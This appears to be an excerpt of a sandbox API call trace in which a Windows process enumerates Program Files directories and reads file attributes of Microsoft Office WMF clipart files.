	[0051.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.479] SetEvent (hEvent=0xb4) returned 1
	[0051.480] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0051.480] SetEvent (hEvent=0xb4) returned 1
	[0051.480] SetEvent (hEvent=0x8c) returned 1
	[0051.480] SetEvent (hEvent=0x80) returned 1
	[0051.480] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0051.481] SetEvent (hEvent=0x80) returned 1
	[0051.481] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x7b0000
	[0051.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2008 | out: lpFileInformation=0x124c2008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae)) returned 1
	[0051.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2058 | out: lpFileInformation=0x124c2058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a)) returned 1
	[0051.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c20a8 | out: lpFileInformation=0x124c20a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e)) returned 1
	[0051.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c20f8 | out: lpFileInformation=0x124c20f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74)) returned 1
	[0051.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2148 | out: lpFileInformation=0x124c2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182)) returned 1
	[0051.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2198 | out: lpFileInformation=0x124c2198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4)) returned 1
	[0051.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c21e8 | out: lpFileInformation=0x124c21e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da)) returned 1
	[0051.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2238 | out: lpFileInformation=0x124c2238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a)) returned 1
	[0051.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2288 | out: lpFileInformation=0x124c2288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe)) returned 1
	[0051.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c22d8 | out: lpFileInformation=0x124c22d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724)) returned 1
	[0051.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2328 | out: lpFileInformation=0x124c2328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4)) returned 1
	[0051.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2378 | out: lpFileInformation=0x124c2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500)) returned 1
	[0051.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c23c8 | out: lpFileInformation=0x124c23c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c)) returned 1
	[0051.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2418 | out: lpFileInformation=0x124c2418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870)) returned 1
	[0051.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2468 | out: lpFileInformation=0x124c2468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c)) returned 1
	[0051.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c24b8 | out: lpFileInformation=0x124c24b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040)) returned 1
	[0051.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2508 | out: lpFileInformation=0x124c2508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480)) returned 1
	[0051.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2558 | out: lpFileInformation=0x124c2558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2)) returned 1
	[0051.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c25a8 | out: lpFileInformation=0x124c25a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc)) returned 1
	[0051.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c25f8 | out: lpFileInformation=0x124c25f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc)) returned 1
	[0051.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2648 | out: lpFileInformation=0x124c2648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94)) returned 1
	[0051.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2698 | out: lpFileInformation=0x124c2698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c)) returned 1
	[0051.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c26e8 | out: lpFileInformation=0x124c26e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac)) returned 1
	[0051.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2738 | out: lpFileInformation=0x124c2738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394)) returned 1
	[0051.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2788 | out: lpFileInformation=0x124c2788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44)) returned 1
	[0051.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c27d8 | out: lpFileInformation=0x124c27d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258)) returned 1
	[0051.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2828 | out: lpFileInformation=0x124c2828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834)) returned 1
	[0051.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2878 | out: lpFileInformation=0x124c2878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4)) returned 1
	[0051.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c28c8 | out: lpFileInformation=0x124c28c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90)) returned 1
	[0051.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2918 | out: lpFileInformation=0x124c2918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388)) returned 1
	[0051.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2968 | out: lpFileInformation=0x124c2968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc)) returned 1
	[0051.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c29b8 | out: lpFileInformation=0x124c29b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004)) returned 1
	[0051.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2a08 | out: lpFileInformation=0x124c2a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0)) returned 1
